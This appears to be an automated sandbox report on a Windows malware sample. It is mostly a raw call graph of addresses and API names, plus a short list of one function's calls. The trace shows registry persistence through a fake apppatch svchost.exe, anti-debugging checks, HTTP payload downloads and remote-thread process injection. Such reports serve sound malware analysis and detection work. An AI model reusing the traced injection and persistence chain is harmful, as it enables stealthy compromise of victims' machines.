2d16d73 82613->82616 82617 2d16d97 GetHandleInformation 82614->82617 82618 2d16db6 CreateThread 82614->82618 83158 2d1c670 458 API calls 82614->83158 82615->82608 82616->82614 82619 2d16d79 CloseHandle 82616->82619 82617->82618 82620 2d16da9 82617->82620 82621 2d16dcd GetHandleInformation 82618->82621 82622 2d16dec CreateThread 82618->82622 83160 2d1c710 498 API calls 82618->83160 82619->82614 82620->82618 82626 2d16daf CloseHandle 82620->82626 82621->82622 82623 2d16ddf 82621->82623 82624 2d16e03 GetHandleInformation 82622->82624 82625 2d16e22 CreateThread 82622->82625 83161 2d21060 499 API calls 82622->83161 82623->82622 82627 2d16de5 CloseHandle 82623->82627 82624->82625 82628 2d16e15 82624->82628 82629 2d16e39 GetHandleInformation 82625->82629 82630 2d16e58 CreateThread 82625->82630 83139 2d220f0 462 API calls 82625->83139 82626->82618 82627->82622 82628->82625 82631 2d16e1b CloseHandle 82628->82631 82629->82630 82632 2d16e4b 82629->82632 82633 2d16e6f GetHandleInformation 82630->82633 82634 2d16e8e CreateThread 82630->82634 83141 2d22de0 462 API calls 82630->83141 82631->82625 82632->82630 82635 2d16e51 CloseHandle 82632->82635 82633->82634 82636 2d16e81 82633->82636 82637 2d16ea5 GetHandleInformation 82634->82637 82638 2d16ec4 CreateThread 82634->82638 83142 2d22ed0 457 API calls 82634->83142 82635->82630 82636->82634 82642 2d16e87 CloseHandle 82636->82642 82637->82638 82639 2d16eb7 82637->82639 82640 2d16edb GetHandleInformation 82638->82640 82641 2d16efa CreateThread 82638->82641 83144 2d1f990 457 API calls 82638->83144 82639->82638 82643 2d16ebd CloseHandle 82639->82643 82640->82641 82644 2d16eed 82640->82644 82645 2d16f11 GetHandleInformation 82641->82645 82646 2d16f30 CreateThread 82641->82646 83145 2d230b0 462 API calls 82641->83145 82642->82634 82643->82638 82644->82641 82647 2d16ef3 CloseHandle 82644->82647 82645->82646 82648 2d16f23 82645->82648 82649 2d16f47 GetHandleInformation 82646->82649 82650 2d16f66 CreateThread 82646->82650 83146 2d24030 458 API calls 82646->83146 82647->82641 82648->82646 82651 2d16f29 CloseHandle 82648->82651 82649->82650 82652 2d16f59 82649->82652 82653 2d16f7d GetHandleInformation 82650->82653 82654 2d16f9c CreateThread 82650->82654 83147 2d243a0 458 API calls 82650->83147 82651->82646 82652->82650 82658 2d16f5f CloseHandle 82652->82658 82653->82654 82655 2d16f8f 82653->82655 82656 2d16fb3 GetHandleInformation 82654->82656 82657 2d16fd2 CreateThread 82654->82657 83149 2d21460 460 API calls 82654->83149 82655->82654 82659 2d16f95 CloseHandle 82655->82659 82656->82657 82660 2d16fc5 82656->82660 82661 2d16fe9 GetHandleInformation 82657->82661 82662 2d17008 CreateThread 82657->82662 83151 2d216e0 458 API calls 82657->83151 82658->82650 82659->82654 82660->82657 82663 2d16fcb CloseHandle 82660->82663 82661->82662 82664 2d16ffb 82661->82664 82662->82548 82665 2d17023 GetHandleInformation 82662->82665 83153 2d07e40 400 API calls 82662->83153 82663->82657 82664->82662 82666 2d17001 CloseHandle 82664->82666 82665->82548 82667 2d1703d 82665->82667 82666->82662 82667->82548 82668 2d17047 CloseHandle 82667->82668 82668->82548 82670 2d034ad GetVolumeInformationA _snprintf RegOpenKeyExA RegQueryValueExA 82669->82670 82671 2d03530 82670->82671 82672 2d035a8 PathFileExistsA 82671->82672 82673 2d035b8 RegOpenKeyExA RegQueryValueExA 82672->82673 82674 2d035ec 82672->82674 82673->82674 82675 2d035f4 RegCloseKey 82674->82675 82676 2d035fb 82674->82676 82675->82676 82677 2d255c0 GetSystemWindowsDirectoryA 82676->82677 82678 2d25600 82677->82678 82678->82678 82679 2d25607 GetVolumeInformationA 82678->82679 82681 2d25648 82679->82681 82680 2d2568b _snprintf 82680->82681 82681->82680 82681->82681 82682 2d256c1 _snprintf 82681->82682 82684 2d167e3 SHGetFolderPathA 82682->82684 82684->82479 82686 2d03932 82685->82686 82687 2d03822 GetModuleHandleA 82685->82687 82706 2d03220 memset 82686->82706 82688 2d03843 GetProcAddress 82687->82688 82689 2d0385e 82687->82689 82688->82689 82692 2d03851 GetCurrentProcess 82688->82692 82690 2d03864 IsUserAnAdmin 82689->82690 82691 2d03888 GetModuleHandleA 82689->82691 82690->82691 82693 2d0386e StrStrIA 82690->82693 82694 2d038b5 82691->82694 82695 2d0389a GetProcAddress 82691->82695 82692->82689 82693->82691 82696 2d03921 82693->82696 82698 2d038c1 IsUserAnAdmin 82694->82698 82699 2d038e4 IsUserAnAdmin 82694->82699 82695->82694 82697 2d038a8 GetCurrentProcess 82695->82697 82696->82686 82697->82694 82698->82699 82700 2d038c7 PathFindFileNameA StrStrIA 82698->82700 82701 2d03900 IsUserAnAdmin 82699->82701 82702 2d038ea StrStrIA 82699->82702 82700->82696 82700->82699 82701->82696 82703 2d03906 StrStrIA 82701->82703 82702->82696 82702->82701 82703->82696 82704 2d0391c 82703->82704 82705 2d03750 2 API calls 82704->82705 82705->82696 82799 2d24c00 memset GetProcessHeap RtlAllocateHeap 82706->82799 82709 2d03417 82709->82491 82712 2d03273 GetEnvironmentVariableA 82716 2d03297 GetVolumeInformationA 82712->82716 82713 2d033c5 GetProcessHeap HeapValidate 82714 2d033ec 82713->82714 82715 2d033dd GetProcessHeap HeapFree 82713->82715 82717 2d033f3 GetProcessHeap HeapValidate 82714->82717 82718 2d0340e 82714->82718 82715->82714 82720 2d032b2 82716->82720 82721 2d032b9 RegOpenKeyExA 82716->82721 82717->82718 82719 2d033ff GetProcessHeap HeapFree 82717->82719 82718->82491 82719->82718 82720->82721 82722 2d032d8 RegQueryValueExA RegCloseKey 82721->82722 82723 2d032ff 82721->82723 82722->82723 82724 2d03317 82723->82724 82725 2d0331e CharUpperA 82723->82725 82726 2d03323 CharUpperA _snprintf 82724->82726 82725->82726 82727 2d03350 82726->82727 82727->82727 82728 2d033bd 82727->82728 82729 2d03387 _snprintf 82727->82729 82728->82713 82729->82727 82731 2d03981 GetTickCount GetModuleHandleA 82730->82731 82732 2d0396a GetProcAddress 82730->82732 82734 2d039b0 GetProcAddress 82731->82734 82735 2d039c7 _snprintf 82731->82735 82732->82731 82733 2d0397a 82732->82733 82733->82731 82734->82735 82736 2d039c0 82734->82736 82735->82493 82736->82735 82738 2d168e2 82737->82738 82739 2d1ab08 82737->82739 82745 2d132c0 IsUserAnAdmin 82738->82745 82739->82738 82740 2d1abaa GetModuleHandleA 82739->82740 82741 2d1ab36 82739->82741 82742 2d1abd5 GetProcAddress 82740->82742 82743 2d1abf5 82740->82743 82741->82740 82742->82743 82744 2d1abe8 GetCurrentProcess 82742->82744 82743->82738 82744->82743 82746 2d13337 RegOpenKeyExA 82745->82746 82747 2d132dd RegOpenKeyExA 82745->82747 82750 2d13386 82746->82750 82751 2d1335f RegQueryValueExA RegCloseKey 82746->82751 82748 2d13305 RegQueryValueExA RegCloseKey 82747->82748 82749 2d1332c 82747->82749 82748->82749 82749->82746 82749->82750 82750->82498 82750->82499 82751->82750 82753 2d03790 82752->82753 82753->82753 82754 2d037aa CreateMutexA 82753->82754 82754->82513 82832 2d14af0 IsNetworkAlive 82755->82832 82757 2d06bee 82758 2d06bf2 82757->82758 82759 2d06c08 82757->82759 82758->82759 82760 2d06bf8 Sleep 82758->82760 82761 2d06c1f IsUserAnAdmin 82759->82761 82861 2d063b0 memset DnsFlushResolverCache gethostbyname 82759->82861 82762 2d14af0 11 API calls 82760->82762 82839 2d06750 memset memset 82761->82839 82762->82758 82766 2d06cfe CreateThread 82766->82529 82766->82530 83148 2d16510 438 API calls 82766->83148 82767 2d06c8d WaitForMultipleObjects 82770 2d06c3e 82767->82770 82769 2d06cc2 GetHandleInformation 82769->82770 82770->82766 82770->82767 82770->82769 82772 2d06cd7 CloseHandle 82770->82772 82849 2d06110 memset memset memset 82770->82849 82771 2d06c60 CreateThread 82771->82770 83051 2d06870 82771->83051 82772->82770 82773->82539 83061 2d198e0 23 API calls 82773->83061 82774->82550 82775->82507 82776->82541 83064 2d1a2b0 7 API calls 82776->83064 82777->82548 82778->82586 83065 2d1a2b0 7 API calls 82778->83065 82779->82591 82780->82548 83066 2d1a2b0 7 API calls 82780->83066 82781->82548 83067 2d1a2b0 7 API calls 82781->83067 82782->82540 83068 2d1a2b0 7 API calls 82782->83068 82783->82544 82784->82561 82786 2d1715a 82785->82786 82787 2d24475 OpenProcessToken 82785->82787 82786->82551 82786->82570 82788 2d24522 GetHandleInformation 82787->82788 82789 2d2448a GetTokenInformation 82787->82789 82788->82786 82790 2d24538 82788->82790 82791 2d244a4 CharUpperA 82789->82791 82798 2d244d2 82789->82798 82790->82786 82793 2d2453e CloseHandle 82790->82793 82794 2d244c0 82791->82794 82792 2d24506 GetHandleInformation 82792->82788 82795 2d24515 82792->82795 82793->82786 82796 2d244d4 CharUpperA 82794->82796 82794->82798 82795->82788 82797 2d2451b FindCloseChangeNotification 82795->82797 82796->82798 82797->82788 82798->82788 82798->82792 82800 2d03253 82799->82800 82801 2d24c59 memset 82799->82801 82800->82709 82813 2d24d00 memset GetProcessHeap HeapAlloc 82800->82813 82801->82800 82802 2d24c6d GetUserNameA 82801->82802 82803 2d24ca5 82802->82803 82804 2d24c7e GetLastError 82802->82804 82829 2d1a8e0 memset StrStrIA 82803->82829 82804->82803 82805 2d24c89 82804->82805 82828 2d13d90 7 API calls 82805->82828 82808 2d24cab 82808->82800 82811 2d24cb3 StrChrIA 82808->82811 82809 2d24c94 82809->82800 82810 2d24c9a GetUserNameA 82809->82810 82810->82800 82810->82803 82811->82808 82812 2d24cd0 lstrcpynA 82811->82812 82812->82808 82814 2d24d5a memset 82813->82814 82815 2d03266 82813->82815 82814->82815 82816 2d24d6e GetComputerNameA 82814->82816 82815->82712 82815->82713 82817 2d24da6 82816->82817 82818 2d24d7f GetLastError 82816->82818 82831 2d1a8e0 memset StrStrIA 82817->82831 82818->82817 82820 2d24d8a 82818->82820 82830 2d13d90 7 API calls 82820->82830 82822 2d24d95 82822->82815 82824 2d24d9b GetComputerNameA 82822->82824 82823 2d24db4 StrChrIA 82825 2d24dac 82823->82825 82826 2d24dd1 lstrcpynA 82823->82826 82824->82815 82824->82817 82825->82815 82825->82823 82827 2d24dea 82825->82827 82826->82825 82827->82815 82828->82809 82829->82808 82830->82822 82831->82825 82833 2d14b11 IsUserAnAdmin 82832->82833 82834 2d14be7 82832->82834 82835 2d14b21 memset lstrcpynA StrNCatA InternetCheckConnectionA 82833->82835 82836 2d14b1b DnsFlushResolverCache 82833->82836 82834->82757 82837 2d14b89 memset lstrcpynA StrNCatA InternetCheckConnectionA 82835->82837 82838 2d14bdb 82835->82838 82836->82835 82837->82838 82838->82757 82840 2d0680a RegOpenKeyExA 82839->82840 82841 2d0679c lstrcpynA 82839->82841 82842 2d06827 82840->82842 82843 2d0685a 82840->82843 82848 2d067c0 82841->82848 82844 2d0684b RegDeleteValueA 82842->82844 82845 2d0682b RegSetValueExA 82842->82845 82846 2d06862 RegCloseKey 82843->82846 82847 2d06869 82843->82847 82844->82843 82845->82843 82846->82847 82847->82770 82848->82840 82850 2d061e0 82849->82850 82850->82850 82851 2d06210 strtol 82850->82851 82851->82851 82852 2d0623a 82851->82852 82853 2d06298 strstr 82852->82853 82854 2d062b5 82853->82854 82855 2d062be strstr 82853->82855 82854->82771 82855->82854 82856 2d062d1 strtol 82855->82856 82856->82854 82860 2d062e5 GetProcessHeap RtlAllocateHeap 82856->82860 82858 2d063a5 82858->82771 82859 2d06369 memset memset _snprintf 82859->82858 82860->82858 82860->82859 82862 2d06414 GetTempPathA GetTempFileNameA 82861->82862 82863 2d06708 PathFileExistsA 82861->82863 82866 2d06444 82862->82866 82864 2d06735 82863->82864 82865 2d06719 SetFileAttributesA DeleteFileA 82863->82865 82864->82761 82864->82766 82865->82864 82866->82866 82911 2d01720 IsDebuggerPresent 82866->82911 82868 2d06454 82931 2d14680 memset 82868->82931 82870 2d06483 82871 2d064a7 82870->82871 82872 2d14680 68 API calls 82870->82872 82871->82863 82981 2d07220 82871->82981 82872->82871 82875 2d064cd calloc calloc 82876 2d064e4 exit 82875->82876 82877 2d064eb calloc 82875->82877 82876->82877 82878 2d064f7 exit 82877->82878 82879 2d064fe calloc 82877->82879 82878->82879 82880 2d06521 exit 82879->82880 82881 2d06528 calloc 82879->82881 82880->82881 82882 2d06534 exit 82881->82882 82883 2d0653b calloc 82881->82883 82882->82883 82884 2d06566 calloc 82883->82884 82885 2d0655e exit 82883->82885 82886 2d06573 exit 82884->82886 82887 2d0657b calloc 82884->82887 82885->82884 82886->82887 82888 2d065a3 exit 82887->82888 82889 2d065ab calloc 82887->82889 82888->82889 82890 2d065c4 82889->82890 82891 2d065bc exit 82889->82891 82998 2d01ac0 82890->82998 82891->82890 82893 2d065e9 82894 2d01ac0 8 API calls 82893->82894 82895 2d065f5 82894->82895 82896 2d01ac0 8 API calls 82895->82896 82897 2d06600 82896->82897 83005 2d01b30 82897->83005 82899 2d0660c _strrev 82903 2d06640 82899->82903 83018 2d01970 82903->83018 82904 2d01970 2 API calls 82905 2d066d1 82904->82905 82906 2d01970 2 API calls 82905->82906 82907 2d066da 82906->82907 82908 2d01970 2 API calls 82907->82908 82909 2d066e3 GetProcessHeap HeapValidate 82908->82909 82909->82863 82910 2d066fc GetProcessHeap RtlFreeHeap 82909->82910 82910->82863 82912 2d01742 FindWindowA 82911->82912 82913 2d0183b 82911->82913 82912->82913 82914 2d01758 memset CreateToolhelp32Snapshot 82912->82914 82913->82868 82915 2d01783 Process32First 82914->82915 82923 2d017f1 82914->82923 82917 2d017a3 StrStrIA 82915->82917 82919 2d017b7 Process32Next 82917->82919 82921 2d017c3 82917->82921 82918 2d017ff 82920 2d0182e 82918->82920 82922 2d24800 7 API calls 82918->82922 82919->82917 82919->82921 82920->82868 82921->82923 82924 2d017d3 GetHandleInformation 82921->82924 82925 2d0180d 82922->82925 82923->82920 83023 2d24800 memset CreateToolhelp32Snapshot 82923->83023 82924->82923 82926 2d017e3 82924->82926 82925->82920 82928 2d24800 7 API calls 82925->82928 82926->82923 82927 2d017ea CloseHandle 82926->82927 82927->82923 82929 2d0181b 82928->82929 82929->82920 82930 2d0181f PathFileExistsA 82929->82930 82930->82920 82932 2d146d3 82931->82932 82933 2d14ae5 82931->82933 82932->82933 82934 2d14780 InternetOpenA 82932->82934 82937 2d14719 82932->82937 82938 2d146ee GetProcessHeap HeapAlloc 82932->82938 82933->82870 82935 2d147a2 InternetConnectA 82934->82935 82936 2d14a8a 82934->82936 82935->82936 82939 2d147c1 HttpOpenRequestA 82935->82939 82943 2d14ab3 82936->82943 82944 2d14a97 GetProcessHeap HeapValidate 82936->82944 82937->82933 82942 2d14724 memcpy 82937->82942 82940 2d14716 82938->82940 82941 2d1470a memset 82938->82941 82939->82936 82949 2d147f9 82939->82949 82940->82937 82941->82940 82960 2d14740 82942->82960 82947 2d14ac5 82943->82947 82948 2d14abf InternetCloseHandle 82943->82948 82944->82943 82946 2d14aa7 GetProcessHeap HeapFree 82944->82946 82946->82943 82950 2d14acc InternetCloseHandle 82947->82950 82951 2d14acf 82947->82951 82948->82947 82952 2d1481d 82949->82952 82955 2d1480a HttpAddRequestHeadersA 82949->82955 82950->82951 82953 2d14ad6 InternetCloseHandle 82951->82953 82954 2d14ad9 82951->82954 82956 2d14820 HttpAddRequestHeadersA 82952->82956 82953->82954 82954->82870 82955->82956 82957 2d14865 HttpSendRequestA 82956->82957 82958 2d14835 _snprintf HttpAddRequestHeadersA 82956->82958 82957->82936 82961 2d14887 HttpQueryInfoA 82957->82961 82958->82957 82960->82934 82961->82936 82962 2d148aa 82961->82962 82962->82936 82963 2d148b7 CreateFileA 82962->82963 82963->82936 82964 2d148e5 GetProcessHeap HeapAlloc 82963->82964 82965 2d14905 memset InternetReadFile 82964->82965 82966 2d149c9 82964->82966 82967 2d14934 82965->82967 82968 2d149ad GetProcessHeap HeapValidate 82965->82968 82969 2d149f0 82966->82969 82970 2d149cd GetHandleInformation 82966->82970 82967->82968 82972 2d1493b 6 API calls 82967->82972 82968->82966 82973 2d149bd GetProcessHeap HeapFree 82968->82973 82971 2d07220 16 API calls 82969->82971 82970->82969 82974 2d149e3 82970->82974 82977 2d14a00 82971->82977 82972->82964 82976 2d14998 GetProcessHeap HeapFree 82972->82976 82973->82966 82974->82969 82975 2d149e9 CloseHandle 82974->82975 82975->82969 82976->82964 82977->82936 83033 2d07140 82977->83033 82979 2d14a6c GetProcessHeap HeapValidate 82979->82936 82980 2d14a7c GetProcessHeap HeapFree 82979->82980 82980->82936 82982 2d07235 CreateFileA 82981->82982 82983 2d07366 82981->82983 82982->82983 82984 2d07257 GetFileSizeEx 82982->82984 82985 2d0736d IsBadWritePtr 82983->82985 82988 2d064c2 82983->82988 82986 2d07275 82984->82986 82987 2d07335 82984->82987 82985->82988 82991 2d07281 GetProcessHeap RtlAllocateHeap 82986->82991 82992 2d072af 82986->82992 82987->82983 82989 2d0734a GetHandleInformation 82987->82989 82988->82863 82988->82875 82989->82983 82990 2d07359 82989->82990 82990->82983 82993 2d0735f FindCloseChangeNotification 82990->82993 82991->82992 82994 2d072a0 memset 82991->82994 82992->82987 82995 2d07311 GetProcessHeap HeapValidate 82992->82995 82996 2d072cc SetFilePointer LockFile ReadFile UnlockFile 82992->82996 82993->82983 82994->82992 82995->82987 82997 2d07325 GetProcessHeap HeapFree 82995->82997 82996->82987 82996->82995 82997->82987 82999 2d01ad0 82998->82999 82999->82999 83000 2d01ad7 82999->83000 83044 2d019e0 malloc free exit memcpy free 83000->83044 83002 2d01aea 83045 2d02870 calloc exit free 83002->83045 83004 2d01af4 83004->82893 83006 2d01b46 83005->83006 83046 2d019e0 malloc free exit memcpy free 83006->83046 83009 2d01b5d 83047 2d019e0 malloc free exit memcpy free 83009->83047 83011 2d01b66 83048 2d019e0 malloc free exit memcpy free 83011->83048 83013 2d01b6f 83049 2d019e0 malloc free exit memcpy free 83013->83049 83015 2d01b77 83050 2d02ce0 34 API calls 83015->83050 83017 2d01b92 83017->82899 83019 2d019c4 83018->83019 83020 2d0197e 83018->83020 83019->82904 83021 2d019ac free 83020->83021 83022 2d0199c free 83020->83022 83021->83019 83022->83021 83024 2d24847 Process32First 83023->83024 83025 2d2483c 83023->83025 83026 2d24867 StrStrIA 83024->83026 83025->82918 83027 2d24876 Process32Next 83026->83027 83028 2d24882 83026->83028 83027->83026 83027->83028 83029 2d24892 GetHandleInformation 83028->83029 83030 2d248b0 83028->83030 83029->83030 83031 2d248a2 83029->83031 83030->82918 83031->83030 83032 2d248a9 CloseHandle 83031->83032 83032->83030 83034 2d07210 83033->83034 83035 2d07156 83033->83035 83034->82979 83035->83034 83036 2d07167 CreateFileA 83035->83036 83037 2d07205 83036->83037 83038 2d07186 SetFilePointer LockFile WriteFile UnlockFile 83036->83038 83037->82979 83039 2d071db 83038->83039 83040 2d071cb SetEndOfFile 83038->83040 83039->83037 83041 2d071e9 GetHandleInformation 83039->83041 83040->83039 83041->83037 83042 2d071f8 83041->83042 83042->83037 83043 2d071fe CloseHandle 83042->83043 83043->83037 83044->83002 83045->83004 83046->83009 83047->83011 83048->83013 83049->83015 83050->83017 83052 2d068e0 83051->83052 83053 2d0687d 83051->83053 83054 2d068be GetProcessHeap HeapValidate 83053->83054 83055 2d063b0 159 API calls 83053->83055 83054->83052 83056 2d068d4 GetProcessHeap HeapFree 83054->83056 83057 2d0688c 83055->83057 83056->83052 83057->83054 83058 2d06890 IsUserAnAdmin 83057->83058 83059 2d06750 7 API calls 83058->83059 83060 2d068b7 83059->83060 83062 2d195d0 44 API calls 83061->83062 83063 2d19420 12 API calls 83062->83063 83092 2d17441 83069->83092 83071 2d17813 Sleep 83071->83092 83072 2d17460 OpenProcess 83073 2d174a0 GetProcessTimes 83072->83073 83074 2d174fa EnterCriticalSection 83072->83074 83073->83092 83074->83092 83075 2d1754a OpenProcess 83076 2d17597 GetProcessTimes 83075->83076 83077 2d175e8 EnterCriticalSection 83075->83077 83076->83092 83079 2d17613 LeaveCriticalSection VirtualQuery VirtualQuery 83077->83079 83077->83092 83078 2d174d8 GetHandleInformation 83078->83074 83078->83092 83079->83092 83080 2d175c6 GetHandleInformation 83080->83077 83080->83092 83081 2d1751f LeaveCriticalSection 83207 2d17270 11 API calls 83081->83207 83084 2d174f3 CloseHandle 83084->83074 83085 2d175e1 CloseHandle 83085->83077 83086 2d176e4 EnterCriticalSection GetProcessHeap HeapAlloc 83088 2d17711 OpenProcess 83086->83088 83089 2d177c4 LeaveCriticalSection 83086->83089 83087 2d177eb GetProcessHeap HeapValidate 83090 2d17800 GetProcessHeap HeapFree 83087->83090 83087->83092 83091 2d1775a GetProcessTimes 83088->83091 83088->83092 83089->83092 83090->83092 83091->83092 83092->83071 83092->83072 83092->83074 83092->83075 83092->83077 83092->83078 83092->83079 83092->83080 83092->83081 83092->83084 83092->83085 83092->83086 83092->83087 83092->83089 83093 2d17789 GetHandleInformation 83092->83093 83094 2d177a8 CloseHandle 83092->83094 83162 2d17300 CreateToolhelp32Snapshot 83092->83162 83176 2d248d0 83092->83176 83093->83092 83094->83092 83096 2d17b40 83095->83096 83096->83096 83097 2d17b73 PathFindFileNameA 83096->83097 83098 2d17b88 83097->83098 83103 2d17c09 83097->83103 83099 2d07220 16 API calls 83098->83099 83100 2d17b9c 83099->83100 83101 2d17ba9 FindFirstChangeNotificationA 83100->83101 83100->83103 83102 2d17bc4 83101->83102 83101->83103 83104 2d17bd0 WaitForSingleObject 83102->83104 83105 2d17bd9 FindNextChangeNotification 83104->83105 83106 2d17bfc Sleep 83104->83106 83105->83106 83107 2d17be0 83105->83107 83106->83104 83107->83106 83108 2d17be9 83107->83108 83109 2d07140 8 API calls 83108->83109 83109->83106 83111 2d17835 83110->83111 83111->83111 83112 2d17a85 IsUserAnAdmin 83111->83112 83113 2d17849 PathFileExistsA 83111->83113 83114 2d17a8f RegOpenKeyExA 83112->83114 83113->83112 83115 2d1785c GetProcessHeap HeapAlloc 83113->83115 83120 2d17ac5 CreateEventA 83114->83120 83121 2d17b1a 83114->83121 83115->83112 83117 2d1787f memset GetShortPathNameA RegOpenKeyExA 83115->83117 83118 2d178c3 RegQueryValueExA 83117->83118 83119 2d17a0b RegOpenKeyExA 83117->83119 83122 2d179fb RegFlushKey 83118->83122 83123 2d178eb GetProcessHeap HeapAlloc 83118->83123 83125 2d17a63 GetProcessHeap HeapValidate 83119->83125 83126 2d17a2a RegSetValueExA RegFlushKey 83119->83126 83120->83121 83124 2d17ad6 RegNotifyChangeKeyValue 83120->83124 83129 2d17a5d RegCloseKey 83122->83129 83123->83122 83127 2d17907 memset RegQueryValueExA StrStrIA 83123->83127 83128 2d17af0 WaitForSingleObject 83124->83128 83125->83112 83130 2d17a79 GetProcessHeap HeapFree 83125->83130 83126->83129 83131 2d179d9 GetProcessHeap HeapValidate 83127->83131 83137 2d1793f 83127->83137 83128->83128 83132 2d17af9 83128->83132 83129->83125 83130->83112 83131->83122 83134 2d179ef GetProcessHeap HeapFree 83131->83134 83135 2d17b0b RegNotifyChangeKeyValue 83132->83135 83229 2d245e0 22 API calls 83132->83229 83134->83122 83135->83128 83137->83137 83138 2d179be RegSetValueExA 83137->83138 83138->83131 83230 2d21fa0 42 API calls 83139->83230 83231 2d22c90 42 API calls 83141->83231 83232 2d22f60 42 API calls 83145->83232 83233 2d212a0 42 API calls 83149->83233 83234 2d1ff20 42 API calls 83154->83234 83235 2d20790 42 API calls 83155->83235 83236 2d1edd0 42 API calls 83156->83236 83237 2d1c1f0 42 API calls 83160->83237 83238 2d20de0 42 API calls 83161->83238 83163 2d17327 Process32First 83162->83163 83164 2d1741c 83162->83164 83165 2d17347 83163->83165 83166 2d173f9 GetHandleInformation 83163->83166 83164->83092 83169 2d173e3 Process32Next 83165->83169 83170 2d1735d GetCurrentProcessId 83165->83170 83172 2d17390 EnterCriticalSection GetProcessHeap HeapAlloc 83165->83172 83173 2d24450 9 API calls 83165->83173 83174 2d173d2 LeaveCriticalSection 83165->83174 83208 2d24550 OpenProcess 83165->83208 83166->83164 83167 2d1740f 83166->83167 83167->83164 83168 2d17415 CloseHandle 83167->83168 83168->83164 83169->83165 83169->83166 83170->83169 83171 2d1736b StrStrIA 83170->83171 83171->83165 83171->83172 83172->83165 83172->83174 83173->83165 83174->83169 83177 2d24b19 83176->83177 83178 2d248e6 83176->83178 83177->83092 83178->83177 83180 2d24917 83178->83180 83181 2d2490d Sleep 83178->83181 83215 2d252d0 memset CreateToolhelp32Snapshot 83178->83215 83182 2d252d0 11 API calls 83180->83182 83181->83178 83181->83180 83183 2d2491e 83182->83183 83183->83177 83184 2d24926 OpenProcess 83183->83184 83184->83177 83185 2d24941 GetModuleHandleA 83184->83185 83186 2d24978 83185->83186 83187 2d2495d GetProcAddress 83185->83187 83189 2d249b1 VirtualAllocEx 83186->83189 83190 2d2497e GetModuleHandleA 83186->83190 83187->83186 83188 2d2496b GetCurrentProcess 83187->83188 83188->83186 83191 2d24af6 GetHandleInformation 83189->83191 83192 2d249e7 WriteProcessMemory 83189->83192 83193 2d249a0 83190->83193 83194 2d24994 GetProcAddress 83190->83194 83191->83177 83196 2d24b0c 83191->83196 83195 2d24a80 FlushInstructionCache CreateRemoteThread 83192->83195 83201 2d24a12 83192->83201 83193->83189 83193->83191 83194->83193 83198 2d24ad4 RtlCreateUserThread 83195->83198 83199 2d24aa8 GetHandleInformation 83195->83199 83196->83177 83200 2d24b12 CloseHandle 83196->83200 83197 2d24a15 VirtualAlloc 83197->83201 83202 2d24a2d memcpy WriteProcessMemory VirtualFree 83197->83202 83198->83191 83203 2d24acb 83199->83203 83204 2d24abe 83199->83204 83200->83177 83201->83197 83205 2d24a7a 83201->83205 83202->83201 83203->83191 83204->83203 83206 2d24ac4 CloseHandle 83204->83206 83205->83195 83206->83203 83207->83092 83209 2d245c9 83208->83209 83210 2d24589 GetProcessTimes 83208->83210 83209->83165 83211 2d245a4 83210->83211 83212 2d245aa GetHandleInformation 83210->83212 83211->83212 83212->83209 83213 2d245bc 83212->83213 83213->83209 83214 2d245c2 CloseHandle 83213->83214 83214->83209 83216 2d25310 GetLastError 83215->83216 83217 2d25368 Module32First 83215->83217 83218 2d253cb 83216->83218 83219 2d2531f SwitchToThread CreateToolhelp32Snapshot 83216->83219 83220 2d25384 83217->83220 83227 2d25335 83217->83227 83218->83178 83219->83218 83219->83227 83221 2d25390 StrStrIA 83220->83221 83224 2d253a2 StrStrIA 83221->83224 83225 2d253ae Module32Next 83221->83225 83222 2d25343 GetHandleInformation 83223 2d2535f 83222->83223 83226 2d25352 83222->83226 83223->83178 83224->83225 83224->83227 83225->83221 83225->83227 83226->83223 83228 2d25358 CloseHandle 83226->83228 83227->83222 83227->83223 83228->83223 83229->83135

                                                                                                                                                                                                            Executed Functions

                                                                                                                                                                                                            Function 02D167D0 Relevance: 280.9, APIs: 126, Strings: 34, Instructions: 881threadmemorylibraryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D03440: memset.MSVCRT ref: 02D0347B
                                                                                                                                                                                                              • Part of subcall function 02D03440: GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 02D0349A
                                                                                                                                                                                                              • Part of subcall function 02D03440: PathAddBackslashA.SHLWAPI(?), ref: 02D034A7
                                                                                                                                                                                                              • Part of subcall function 02D03440: GetVolumeInformationA.KERNEL32(?,00000000,00000000,000FF0FF,00000000,00000000,00000000,00000000), ref: 02D034C4
                                                                                                                                                                                                              • Part of subcall function 02D03440: _snprintf.MSVCRT ref: 02D034DF
                                                                                                                                                                                                              • Part of subcall function 02D03440: RegOpenKeyExA.KERNEL32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000101,00000000), ref: 02D03503
                                                                                                                                                                                                              • Part of subcall function 02D03440: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000001,C:\Windows\apppatch\svchost.exe,00000104), ref: 02D0351F
                                                                                                                                                                                                              • Part of subcall function 02D03440: PathFileExistsA.SHLWAPI(C:\Windows\apppatch\svchost.exe,C:\Windows\apppatch\svchost.exe,C:\Windows\apppatch\svchost.exe), ref: 02D035AD
                                                                                                                                                                                                              • Part of subcall function 02D255C0: GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 02D255EF
                                                                                                                                                                                                              • Part of subcall function 02D255C0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00FFAAFF,00000000,00000000,00000000,00000000), ref: 02D25628
                                                                                                                                                                                                              • Part of subcall function 02D255C0: _snprintf.MSVCRT ref: 02D25693
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,C:\Users\user\AppData\Roaming\), ref: 02D167F0
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(C:\Users\user\AppData\Roaming\), ref: 02D167FB
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02D1680F
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\chrome.exe), ref: 02D1682B
                                                                                                                                                                                                            • GetCommandLineA.KERNEL32 ref: 02D16835
                                                                                                                                                                                                            • GetCommandLineW.KERNEL32 ref: 02D1686D
                                                                                                                                                                                                            • InitializeCriticalSection.KERNEL32(02D4FB68), ref: 02D1689B
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 02D168B2
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D13140,00000000,00000000,00000000), ref: 02D16900
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D16914
